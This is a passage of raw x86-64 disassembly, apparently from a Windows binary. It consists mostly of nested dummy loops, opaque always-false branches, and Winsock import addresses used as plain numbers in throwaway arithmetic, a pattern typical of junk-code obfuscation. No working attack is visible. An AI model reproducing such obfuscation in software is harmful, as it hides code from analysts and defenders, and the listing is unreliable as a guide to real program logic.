mov dword [rsp + 0xcdc], eax
mov dword [rsp + 0xcd0], 0
jmp 0x140186860
mov eax, dword [rsp + 0xcd0]
inc eax
mov dword [rsp + 0xcd0], eax
cmp dword [rsp + 0xcd0], 5
jge 0x1401869b6
mov dword [rsp + 0xcd4], 7
mov dword [rsp + 0x83c], 0
jmp 0x140186896
mov eax, dword [rsp + 0x83c]
inc eax
mov dword [rsp + 0x83c], eax
cmp dword [rsp + 0x83c], 2
jge 0x140186939
mov eax, dword [rsp + 0x83c]
inc eax
mov dword [rsp + 0x3c8], eax
mov eax, dword [rsp + 0x3c8]
inc eax
mov dword [rsp + 0x3c8], eax
cmp dword [rsp + 0x3c8], 2
jne 0x14018692a
mov dword [rsp + 0x3c4], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x3c4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401868fe
mov eax, dword [rsp + 0x3c4]
shl eax, 1
mov dword [rsp + 0x3c4], eax
jmp 0x14018690f
mov eax, dword [rsp + 0x3c4]
add eax, 3
mov dword [rsp + 0x3c4], eax
mov eax, dword [rsp + 0x3c8]
imul eax, dword [rsp + 0xcd4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1218], eax
cmp dword [rsp + 0x3c8], 3
jl 0x1401868b4
jmp 0x140186886
cmp dword [rsp + 0xcd4], 5
jle 0x1401869b1
mov eax, dword [rsp + 0xcd4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xcd8], eax
mov dword [rsp + 0x3cc], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x3cc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140186986
mov eax, dword [rsp + 0x3cc]
shl eax, 1
mov dword [rsp + 0x3cc], eax
jmp 0x140186997
mov eax, dword [rsp + 0x3cc]
add eax, 3
mov dword [rsp + 0x3cc], eax
mov eax, dword [rsp + 0xcd8]
dec eax
mov dword [rsp + 0xcd8], eax
cmp dword [rsp + 0xcd8], 0
jg 0x140186956
jmp 0x140186850
mov eax, dword [rsp + 0xcdc]
sub eax, 2
mov dword [rsp + 0xcdc], eax
cmp dword [rsp + 0xcdc], 0
jg 0x140186843
mov dword [rsp + 0xce0], 0
jmp 0x1401869f2
mov eax, dword [rsp + 0xce0]
inc eax
mov dword [rsp + 0xce0], eax
cmp dword [rsp + 0xce0], 5
jge 0x140186b48
mov dword [rsp + 0xce4], 7
mov dword [rsp + 0x840], 0
jmp 0x140186a28
mov eax, dword [rsp + 0x840]
inc eax
mov dword [rsp + 0x840], eax
cmp dword [rsp + 0x840], 2
jge 0x140186acb
mov eax, dword [rsp + 0x840]
inc eax
mov dword [rsp + 0x3d4], eax
mov eax, dword [rsp + 0x3d4]
inc eax
mov dword [rsp + 0x3d4], eax
cmp dword [rsp + 0x3d4], 2
jne 0x140186abc
mov dword [rsp + 0x3d0], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x3d0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140186a90
mov eax, dword [rsp + 0x3d0]
shl eax, 1
mov dword [rsp + 0x3d0], eax
jmp 0x140186aa1
mov eax, dword [rsp + 0x3d0]
add eax, 3
mov dword [rsp + 0x3d0], eax
mov eax, dword [rsp + 0x3d4]
imul eax, dword [rsp + 0xce4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x121c], eax
cmp dword [rsp + 0x3d4], 3
jl 0x140186a46
jmp 0x140186a18
cmp dword [rsp + 0xce4], 5
jle 0x140186b43
mov eax, dword [rsp + 0xce4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xce8], eax
mov dword [rsp + 0x3d8], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x3d8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140186b18
mov eax, dword [rsp + 0x3d8]
shl eax, 1
mov dword [rsp + 0x3d8], eax
jmp 0x140186b29
mov eax, dword [rsp + 0x3d8]
add eax, 3
mov dword [rsp + 0x3d8], eax
mov eax, dword [rsp + 0xce8]
dec eax
mov dword [rsp + 0xce8], eax
cmp dword [rsp + 0xce8], 0
jg 0x140186ae8
jmp 0x1401869e2
jmp 0x140186486
jmp 0x140187228
mov dword [rsp + 0xcec], 0
jmp 0x140186b6f
mov eax, dword [rsp + 0xcec]
inc eax
mov dword [rsp + 0xcec], eax
cmp dword [rsp + 0xcec], 5
jge 0x140187228
mov dword [rsp + 0xd08], 0x44
mov dword [rsp + 0x844], 0
jmp 0x140186ba5
mov eax, dword [rsp + 0x844]
inc eax
mov dword [rsp + 0x844], eax
cmp dword [rsp + 0x844], 7
jge 0x140186efa
mov eax, dword [rsp + 0x844]
add eax, 4
mov dword [rsp + 0x3f4], eax
mov eax, dword [rsp + 0x3f4]
add eax, 4
mov dword [rsp + 0x3f4], eax
cmp dword [rsp + 0x3f4], 0x10
jne 0x140186ee7
mov dword [rsp + 0xcf0], 0
jmp 0x140186c00
mov eax, dword [rsp + 0xcf0]
inc eax
mov dword [rsp + 0xcf0], eax
cmp dword [rsp + 0xcf0], 5
jge 0x140186d56
mov dword [rsp + 0xcf4], 7
mov dword [rsp + 0x848], 0
jmp 0x140186c36
mov eax, dword [rsp + 0x848]
inc eax
mov dword [rsp + 0x848], eax
cmp dword [rsp + 0x848], 2
jge 0x140186cd9
mov eax, dword [rsp + 0x848]
inc eax
mov dword [rsp + 0x3e0], eax
mov eax, dword [rsp + 0x3e0]
inc eax
mov dword [rsp + 0x3e0], eax
cmp dword [rsp + 0x3e0], 2
jne 0x140186cca
mov dword [rsp + 0x3dc], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x3dc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140186c9e
mov eax, dword [rsp + 0x3dc]
shl eax, 1
mov dword [rsp + 0x3dc], eax
jmp 0x140186caf
mov eax, dword [rsp + 0x3dc]
add eax, 3
mov dword [rsp + 0x3dc], eax
mov eax, dword [rsp + 0x3e0]
imul eax, dword [rsp + 0xcf4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1220], eax
cmp dword [rsp + 0x3e0], 3
jl 0x140186c54
jmp 0x140186c26
cmp dword [rsp + 0xcf4], 5
jle 0x140186d51
mov eax, dword [rsp + 0xcf4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xcf8], eax
mov dword [rsp + 0x3e4], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x3e4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140186d26
mov eax, dword [rsp + 0x3e4]
shl eax, 1
mov dword [rsp + 0x3e4], eax
jmp 0x140186d37
mov eax, dword [rsp + 0x3e4]
add eax, 3
mov dword [rsp + 0x3e4], eax
mov eax, dword [rsp + 0xcf8]
dec eax
mov dword [rsp + 0xcf8], eax
cmp dword [rsp + 0xcf8], 0
jg 0x140186cf6
jmp 0x140186bf0
mov eax, dword [rsp + 0x3f4]
imul eax, dword [rsp + 0xd08]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1224], eax
mov dword [rsp + 0xcfc], 0
jmp 0x140186d91
mov eax, dword [rsp + 0xcfc]
inc eax
mov dword [rsp + 0xcfc], eax
cmp dword [rsp + 0xcfc], 5
jge 0x140186ee7
mov dword [rsp + 0xd00], 7
mov dword [rsp + 0x84c], 0
jmp 0x140186dc7
mov eax, dword [rsp + 0x84c]
inc eax
mov dword [rsp + 0x84c], eax
cmp dword [rsp + 0x84c], 2
jge 0x140186e6a
mov eax, dword [rsp + 0x84c]
inc eax
mov dword [rsp + 0x3ec], eax
mov eax, dword [rsp + 0x3ec]
inc eax
mov dword [rsp + 0x3ec], eax
cmp dword [rsp + 0x3ec], 2
jne 0x140186e5b
mov dword [rsp + 0x3e8], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x3e8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140186e2f
mov eax, dword [rsp + 0x3e8]
shl eax, 1
mov dword [rsp + 0x3e8], eax
jmp 0x140186e40
mov eax, dword [rsp + 0x3e8]
add eax, 3
mov dword [rsp + 0x3e8], eax
mov eax, dword [rsp + 0x3ec]
imul eax, dword [rsp + 0xd00]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1228], eax
cmp dword [rsp + 0x3ec], 3
jl 0x140186de5
jmp 0x140186db7
cmp dword [rsp + 0xd00], 5
jle 0x140186ee2
mov eax, dword [rsp + 0xd00]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xd04], eax
mov dword [rsp + 0x3f0], 0x15
mov eax, dword [rsp + 0x3f0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140186eb7
mov eax, dword [rsp + 0x3f0]
shl eax, 1
mov dword [rsp + 0x3f0], eax
jmp 0x140186ec8
mov eax, dword [rsp + 0x3f0]
add eax, 3
mov dword [rsp + 0x3f0], eax
mov eax, dword [rsp + 0xd04]
dec eax
mov dword [rsp + 0xd04], eax
cmp dword [rsp + 0xd04], 0
jg 0x140186e87
jmp 0x140186d81
cmp dword [rsp + 0x3f4], 0x14
jl 0x140186bc4
jmp 0x140186b95
cmp dword [rsp + 0xd08], 0x28
jle 0x1401870b0
mov eax, dword [rsp + 0xd08]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xd18], eax
mov dword [rsp + 0xd0c], 0
jmp 0x140186f3b
mov eax, dword [rsp + 0xd0c]
inc eax
mov dword [rsp + 0xd0c], eax
cmp dword [rsp + 0xd0c], 5
jge 0x140187091
mov dword [rsp + 0xd10], 7
mov dword [rsp + 0x850], 0
jmp 0x140186f71
mov eax, dword [rsp + 0x850]
inc eax
mov dword [rsp + 0x850], eax
cmp dword [rsp + 0x850], 2
jge 0x140187014
mov eax, dword [rsp + 0x850]
inc eax
mov dword [rsp + 0x3fc], eax
mov eax, dword [rsp + 0x3fc]
inc eax
mov dword [rsp + 0x3fc], eax
cmp dword [rsp + 0x3fc], 2
jne 0x140187005
mov dword [rsp + 0x3f8], 0x15
mov eax, dword [rsp + 0x3f8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140186fd9
mov eax, dword [rsp + 0x3f8]
shl eax, 1
mov dword [rsp + 0x3f8], eax
jmp 0x140186fea
mov eax, dword [rsp + 0x3f8]
add eax, 3
mov dword [rsp + 0x3f8], eax
mov eax, dword [rsp + 0x3fc]
imul eax, dword [rsp + 0xd10]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x122c], eax
cmp dword [rsp + 0x3fc], 3
jl 0x140186f8f
jmp 0x140186f61
cmp dword [rsp + 0xd10], 5
jle 0x14018708c
mov eax, dword [rsp + 0xd10]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xd14], eax
mov dword [rsp + 0x400], 0x15
mov eax, dword [rsp + 0x400]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140187061
mov eax, dword [rsp + 0x400]
shl eax, 1
mov dword [rsp + 0x400], eax
jmp 0x140187072
mov eax, dword [rsp + 0x400]
add eax, 3
mov dword [rsp + 0x400], eax
mov eax, dword [rsp + 0xd14]
dec eax
mov dword [rsp + 0xd14], eax
cmp dword [rsp + 0xd14], 0
jg 0x140187031
jmp 0x140186f2b
mov eax, dword [rsp + 0xd18]
sub eax, 3
mov dword [rsp + 0xd18], eax
cmp dword [rsp + 0xd18], 0
jg 0x140186f1e
mov dword [rsp + 0xd1c], 0
jmp 0x1401870cd
mov eax, dword [rsp + 0xd1c]
inc eax
mov dword [rsp + 0xd1c], eax
cmp dword [rsp + 0xd1c], 5
jge 0x140187223
mov dword [rsp + 0xd20], 7
mov dword [rsp + 0x854], 0
jmp 0x140187103
mov eax, dword [rsp + 0x854]
inc eax
mov dword [rsp + 0x854], eax
cmp dword [rsp + 0x854], 2
jge 0x1401871a6
mov eax, dword [rsp + 0x854]
inc eax
mov dword [rsp + 0x408], eax
mov eax, dword [rsp + 0x408]
inc eax
mov dword [rsp + 0x408], eax
cmp dword [rsp + 0x408], 2
jne 0x140187197
mov dword [rsp + 0x404], 0x15
mov eax, dword [rsp + 0x404]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018716b
mov eax, dword [rsp + 0x404]
shl eax, 1
mov dword [rsp + 0x404], eax
jmp 0x14018717c
mov eax, dword [rsp + 0x404]
add eax, 3
mov dword [rsp + 0x404], eax
mov eax, dword [rsp + 0x408]
imul eax, dword [rsp + 0xd20]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1230], eax
cmp dword [rsp + 0x408], 3
jl 0x140187121
jmp 0x1401870f3
cmp dword [rsp + 0xd20], 5
jle 0x14018721e
mov eax, dword [rsp + 0xd20]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xd24], eax
mov dword [rsp + 0x40c], 0x15
mov eax, dword [rsp + 0x40c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401871f3
mov eax, dword [rsp + 0x40c]
shl eax, 1
mov dword [rsp + 0x40c], eax
jmp 0x140187204
mov eax, dword [rsp + 0x40c]
add eax, 3
mov dword [rsp + 0x40c], eax
mov eax, dword [rsp + 0xd24]
dec eax
mov dword [rsp + 0xd24], eax
cmp dword [rsp + 0xd24], 0
jg 0x1401871c3
jmp 0x1401870bd
jmp 0x140186b5f
xor eax, eax
cmp eax, 1
je 0x140187baa
xor eax, eax
test eax, eax
je 0x1401879a7
mov dword [rsp + 0xd28], 0
jmp 0x14018725a
mov eax, dword [rsp + 0xd28]
inc eax
mov dword [rsp + 0xd28], eax
cmp dword [rsp + 0xd28], 5
jge 0x1401879a2
mov dword [rsp + 0x43c], 0x4d
mov dword [rsp + 0x858], 0
jmp 0x140187290
mov eax, dword [rsp + 0x858]
inc eax
mov dword [rsp + 0x858], eax
cmp dword [rsp + 0x858], 8
jge 0x1401874c0
mov eax, dword [rsp + 0x858]
add eax, 6
mov dword [rsp + 0x420], eax
mov eax, dword [rsp + 0x420]
add eax, 5
mov dword [rsp + 0x420], eax
cmp dword [rsp + 0x420], 0x12
jne 0x1401874ad
mov dword [rsp + 0x410], 0x2a
mov eax, dword [rsp + 0x410]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401872fe
mov eax, dword [rsp + 0x410]
shl eax, 1
mov dword [rsp + 0x410], eax
jmp 0x14018730f
mov eax, dword [rsp + 0x410]
add eax, 3
mov dword [rsp + 0x410], eax
mov eax, dword [rsp + 0x420]
imul eax, dword [rsp + 0x43c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1234], eax
mov dword [rsp + 0xd2c], 0
jmp 0x14018734a
mov eax, dword [rsp + 0xd2c]
inc eax
mov dword [rsp + 0xd2c], eax
cmp dword [rsp + 0xd2c], 5
jge 0x1401874ad
mov dword [rsp + 0xd30], 0x4d
mov dword [rsp + 0x85c], 0
jmp 0x140187380
mov eax, dword [rsp + 0x85c]
inc eax
mov dword [rsp + 0x85c], eax
cmp dword [rsp + 0x85c], 6
jge 0x14018742c
mov eax, dword [rsp + 0x85c]
add eax, 3
mov dword [rsp + 0x418], eax
mov eax, dword [rsp + 0x418]
add eax, 2
mov dword [rsp + 0x418], eax
cmp dword [rsp + 0x418], 0xb
jne 0x140187419
mov dword [rsp + 0x414], 0x2a
mov eax, dword [rsp + 0x414]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401873ea
mov eax, dword [rsp + 0x414]
shl eax, 1
mov dword [rsp + 0x414], eax
jmp 0x1401873fb
mov eax, dword [rsp + 0x414]
add eax, 3
mov dword [rsp + 0x414], eax
mov eax, dword [rsp + 0x418]
imul eax, dword [rsp + 0xd30]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1238], eax
cmp dword [rsp + 0x418], 0x12
jl 0x14018739f
jmp 0x140187370
cmp dword [rsp + 0xd30], 0x23
jle 0x1401874a8
mov eax, dword [rsp + 0xd30]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xd34], eax
mov dword [rsp + 0x41c], 0x2a
mov eax, dword [rsp + 0x41c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018747c
mov eax, dword [rsp + 0x41c]
shl eax, 1
mov dword [rsp + 0x41c], eax
jmp 0x14018748d
mov eax, dword [rsp + 0x41c]
add eax, 3
mov dword [rsp + 0x41c], eax
mov eax, dword [rsp + 0xd34]
sub eax, 4
mov dword [rsp + 0xd34], eax
cmp dword [rsp + 0xd34], 0
jg 0x14018744c
jmp 0x14018733a
cmp dword [rsp + 0x420], 0x1e
jl 0x1401872af
jmp 0x140187280
cmp dword [rsp + 0x43c], 0x23
jle 0x140187750
mov eax, dword [rsp + 0x43c]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xd44], eax
mov dword [rsp + 0x860], 0
jmp 0x140187501
mov eax, dword [rsp + 0x860]
inc eax
mov dword [rsp + 0x860], eax
cmp dword [rsp + 0x860], 8
jge 0x140187731
mov eax, dword [rsp + 0x860]
add eax, 6
mov dword [rsp + 0x434], eax
mov eax, dword [rsp + 0x434]
add eax, 5
mov dword [rsp + 0x434], eax
cmp dword [rsp + 0x434], 0x12
jne 0x14018771e
mov dword [rsp + 0x424], 0x2a
mov eax, dword [rsp + 0x424]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018756f
mov eax, dword [rsp + 0x424]
shl eax, 1
mov dword [rsp + 0x424], eax
jmp 0x140187580
mov eax, dword [rsp + 0x424]
add eax, 3
mov dword [rsp + 0x424], eax
mov eax, dword [rsp + 0x434]
imul eax, dword [rsp + 0x43c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x123c], eax
mov dword [rsp + 0xd38], 0
jmp 0x1401875bb
mov eax, dword [rsp + 0xd38]
inc eax
mov dword [rsp + 0xd38], eax
cmp dword [rsp + 0xd38], 5
jge 0x14018771e
mov dword [rsp + 0xd3c], 0x4d
mov dword [rsp + 0x864], 0
jmp 0x1401875f1
mov eax, dword [rsp + 0x864]
inc eax
mov dword [rsp + 0x864], eax
cmp dword [rsp + 0x864], 6
jge 0x14018769d
mov eax, dword [rsp + 0x864]
add eax, 3
mov dword [rsp + 0x42c], eax
mov eax, dword [rsp + 0x42c]
add eax, 2
mov dword [rsp + 0x42c], eax
cmp dword [rsp + 0x42c], 0xb
jne 0x14018768a
mov dword [rsp + 0x428], 0x2a
mov eax, dword [rsp + 0x428]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018765b
mov eax, dword [rsp + 0x428]
shl eax, 1
mov dword [rsp + 0x428], eax
jmp 0x14018766c
mov eax, dword [rsp + 0x428]
add eax, 3
mov dword [rsp + 0x428], eax
mov eax, dword [rsp + 0x42c]
imul eax, dword [rsp + 0xd3c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1240], eax
cmp dword [rsp + 0x42c], 0x12
jl 0x140187610
jmp 0x1401875e1
cmp dword [rsp + 0xd3c], 0x23
jle 0x140187719
mov eax, dword [rsp + 0xd3c]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xd40], eax
mov dword [rsp + 0x430], 0x2a
mov eax, dword [rsp + 0x430]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401876ed
mov eax, dword [rsp + 0x430]
shl eax, 1
mov dword [rsp + 0x430], eax
jmp 0x1401876fe
mov eax, dword [rsp + 0x430]
add eax, 3
mov dword [rsp + 0x430], eax
mov eax, dword [rsp + 0xd40]
sub eax, 4
mov dword [rsp + 0xd40], eax
cmp dword [rsp + 0xd40], 0
jg 0x1401876bd
jmp 0x1401875ab
cmp dword [rsp + 0x434], 0x1e
jl 0x140187520
jmp 0x1401874f1
mov eax, dword [rsp + 0xd44]
sub eax, 4
mov dword [rsp + 0xd44], eax
cmp dword [rsp + 0xd44], 0
jg 0x1401874e4
mov dword [rsp + 0x868], 0
jmp 0x14018776d
mov eax, dword [rsp + 0x868]
inc eax
mov dword [rsp + 0x868], eax
cmp dword [rsp + 0x868], 8
jge 0x14018799d
mov eax, dword [rsp + 0x868]
add eax, 6
mov dword [rsp + 0x44c], eax
mov eax, dword [rsp + 0x44c]
add eax, 5
mov dword [rsp + 0x44c], eax
cmp dword [rsp + 0x44c], 0x12
jne 0x14018798a
mov dword [rsp + 0x438], 0x2a
mov eax, dword [rsp + 0x438]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401877db
mov eax, dword [rsp + 0x438]
shl eax, 1
mov dword [rsp + 0x438], eax
jmp 0x1401877ec
mov eax, dword [rsp + 0x438]
add eax, 3
mov dword [rsp + 0x438], eax
mov eax, dword [rsp + 0x44c]
imul eax, dword [rsp + 0x43c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1244], eax
mov dword [rsp + 0xd48], 0
jmp 0x140187827
mov eax, dword [rsp + 0xd48]
inc eax
mov dword [rsp + 0xd48], eax
cmp dword [rsp + 0xd48], 5
jge 0x14018798a
mov dword [rsp + 0xd4c], 0x4d
mov dword [rsp + 0x86c], 0
jmp 0x14018785d
mov eax, dword [rsp + 0x86c]
inc eax
mov dword [rsp + 0x86c], eax
cmp dword [rsp + 0x86c], 6
jge 0x140187909
mov eax, dword [rsp + 0x86c]
add eax, 3
mov dword [rsp + 0x444], eax
mov eax, dword [rsp + 0x444]
add eax, 2
mov dword [rsp + 0x444], eax
cmp dword [rsp + 0x444], 0xb
jne 0x1401878f6
mov dword [rsp + 0x440], 0x2a
mov eax, dword [rsp + 0x440]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401878c7
mov eax, dword [rsp + 0x440]
shl eax, 1
mov dword [rsp + 0x440], eax
jmp 0x1401878d8
mov eax, dword [rsp + 0x440]
add eax, 3
mov dword [rsp + 0x440], eax
mov eax, dword [rsp + 0x444]
imul eax, dword [rsp + 0xd4c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1248], eax
cmp dword [rsp + 0x444], 0x12
jl 0x14018787c
jmp 0x14018784d
cmp dword [rsp + 0xd4c], 0x23
jle 0x140187985
mov eax, dword [rsp + 0xd4c]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xd50], eax
mov dword [rsp + 0x448], 0x2a
mov eax, dword [rsp + 0x448]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140187959
mov eax, dword [rsp + 0x448]
shl eax, 1
mov dword [rsp + 0x448], eax
jmp 0x14018796a
mov eax, dword [rsp + 0x448]
add eax, 3
mov dword [rsp + 0x448], eax
mov eax, dword [rsp + 0xd50]
sub eax, 4
mov dword [rsp + 0xd50], eax
cmp dword [rsp + 0xd50], 0
jg 0x140187929
jmp 0x140187817
cmp dword [rsp + 0x44c], 0x1e
jl 0x14018778c
jmp 0x14018775d
jmp 0x14018724a
jmp 0x140187baa
mov dword [rsp + 0xd54], 0
jmp 0x1401879c4
mov eax, dword [rsp + 0xd54]
inc eax
mov dword [rsp + 0xd54], eax
cmp dword [rsp + 0xd54], 5
jge 0x140187baa
mov dword [rsp + 0xd58], 0x59
mov dword [rsp + 0x870], 0
jmp 0x1401879fa
mov eax, dword [rsp + 0x870]
inc eax
mov dword [rsp + 0x870], eax
cmp dword [rsp + 0x870], 7
jge 0x140187ae8
mov eax, dword [rsp + 0x870]
add eax, 4
mov dword [rsp + 0x458], eax
mov eax, dword [rsp + 0x458]
add eax, 3
mov dword [rsp + 0x458], eax
cmp dword [rsp + 0x458], 0xe
jne 0x140187ad5
mov dword [rsp + 0x450], 0x2a
mov eax, dword [rsp + 0x450]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140187a68
mov eax, dword [rsp + 0x450]
shl eax, 1
mov dword [rsp + 0x450], eax
jmp 0x140187a79
mov eax, dword [rsp + 0x450]
add eax, 3
mov dword [rsp + 0x450], eax
mov eax, dword [rsp + 0x458]
imul eax, dword [rsp + 0xd58]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x124c], eax
mov dword [rsp + 0x454], 0x2a
mov eax, dword [rsp + 0x454]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140187ac4
mov eax, dword [rsp + 0x454]
shl eax, 1
mov dword [rsp + 0x454], eax
jmp 0x140187ad5
mov eax, dword [rsp + 0x454]
add eax, 3
mov dword [rsp + 0x454], eax
cmp dword [rsp + 0x458], 0x19
jl 0x140187a19
jmp 0x1401879ea
cmp dword [rsp + 0xd58], 0x28
jle 0x140187b64
mov eax, dword [rsp + 0xd58]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0xd5c], eax
mov dword [rsp + 0x45c], 0x2a
mov eax, dword [rsp + 0x45c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140187b38
mov eax, dword [rsp + 0x45c]
shl eax, 1
mov dword [rsp + 0x45c], eax
jmp 0x140187b49
mov eax, dword [rsp + 0x45c]
add eax, 3
mov dword [rsp + 0x45c], eax
mov eax, dword [rsp + 0xd5c]
sub eax, 3
mov dword [rsp + 0xd5c], eax
cmp dword [rsp + 0xd5c], 0
jg 0x140187b08
mov dword [rsp + 0x460], 0x2a
mov eax, dword [rsp + 0x460]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140187b94
mov eax, dword [rsp + 0x460]
shl eax, 1
mov dword [rsp + 0x460], eax
jmp 0x140187ba5
mov eax, dword [rsp + 0x460]
add eax, 3
mov dword [rsp + 0x460], eax
jmp 0x1401879b4
xor eax, eax
test eax, eax
je 0x1401889fe
xor eax, eax
test eax, eax
je 0x1401882d5
mov dword [rsp + 0xd60], 0
jmp 0x140187bdb
mov eax, dword [rsp + 0xd60]
inc eax
mov dword [rsp + 0xd60], eax
cmp dword [rsp + 0xd60], 5
jge 0x1401882d0
mov dword [rsp + 0xd7c], 0x3f
mov dword [rsp + 0x874], 0
jmp 0x140187c11
mov eax, dword [rsp + 0x874]
inc eax
mov dword [rsp + 0x874], eax
cmp dword [rsp + 0x874], 6
jge 0x140187f78
mov eax, dword [rsp + 0x874]
add eax, 5
mov dword [rsp + 0x46c], eax
mov eax, dword [rsp + 0x46c]
add eax, 4
mov dword [rsp + 0x46c], eax
cmp dword [rsp + 0x46c], 0x11
jne 0x140187f65
mov dword [rsp + 0xd64], 0
jmp 0x140187c6c
mov eax, dword [rsp + 0xd64]
inc eax
mov dword [rsp + 0xd64], eax
cmp dword [rsp + 0xd64], 5
jge 0x140187dbe
mov dword [rsp + 0xd68], 0x2a
mov dword [rsp + 0x878], 0
jmp 0x140187ca2
mov eax, dword [rsp + 0x878]
inc eax
mov dword [rsp + 0x878], eax
cmp dword [rsp + 0x878], 4
jge 0x140187d38
mov eax, dword [rsp + 0x878]
add eax, 2
mov dword [rsp + 0x464], eax
mov eax, dword [rsp + 0x464]
inc eax
mov dword [rsp + 0x464], eax
cmp dword [rsp + 0x464], 7
jne 0x140187d29
mov dword [rsp + 0x30], Ordinal_79
cmp dword [rsp + 0x30], 0
jle 0x140187d0b
mov eax, dword [rsp + 0x30]
sub eax, 5
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xa
jne 0x140187d09
mov eax, dword [rsp + 0x30]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x30], eax
jmp 0x140187ce3
mov eax, dword [rsp + 0x464]
imul eax, dword [rsp + 0xd68]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1250], eax
cmp dword [rsp + 0x464], 0xb
jl 0x140187cc1
jmp 0x140187c92
cmp dword [rsp + 0xd68], 0x14
jle 0x140187db9
mov eax, dword [rsp + 0xd68]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xd6c], eax
mov dword [rsp + 0xfc], Ordinal_79
cmp dword [rsp + 0xfc], 0
jle 0x140187d9e
mov eax, dword [rsp + 0xfc]
sub eax, 5
mov dword [rsp + 0xfc], eax
cmp dword [rsp + 0xfc], 0xa
jne 0x140187d9c
mov eax, dword [rsp + 0xfc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xfc], eax
jmp 0x140187d64
mov eax, dword [rsp + 0xd6c]
sub eax, 2
mov dword [rsp + 0xd6c], eax
cmp dword [rsp + 0xd6c], 0
jg 0x140187d59
jmp 0x140187c5c
mov eax, dword [rsp + 0x46c]
imul eax, dword [rsp + 0xd7c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1254], eax
mov dword [rsp + 0xd70], 0
jmp 0x140187dfa
mov eax, dword [rsp + 0xd70]
inc eax
mov dword [rsp + 0xd70], eax
cmp dword [rsp + 0xd70], 5
jge 0x140187f65
mov dword [rsp + 0xd74], 0x2a
mov dword [rsp + 0x87c], 0
jmp 0x140187e30
mov eax, dword [rsp + 0x87c]
inc eax
mov dword [rsp + 0x87c], eax
cmp dword [rsp + 0x87c], 4
jge 0x140187edf
mov eax, dword [rsp + 0x87c]
add eax, 2
mov dword [rsp + 0x468], eax
mov eax, dword [rsp + 0x468]
inc eax
mov dword [rsp + 0x468], eax
cmp dword [rsp + 0x468], 7
jne 0x140187ecc
mov dword [rsp + 0x100], Ordinal_79
cmp dword [rsp + 0x100], 0
jle 0x140187eae
mov eax, dword [rsp + 0x100]
sub eax, 5
mov dword [rsp + 0x100], eax
cmp dword [rsp + 0x100], 0xa
jne 0x140187eac
mov eax, dword [rsp + 0x100]
cdq
sub eax, edx
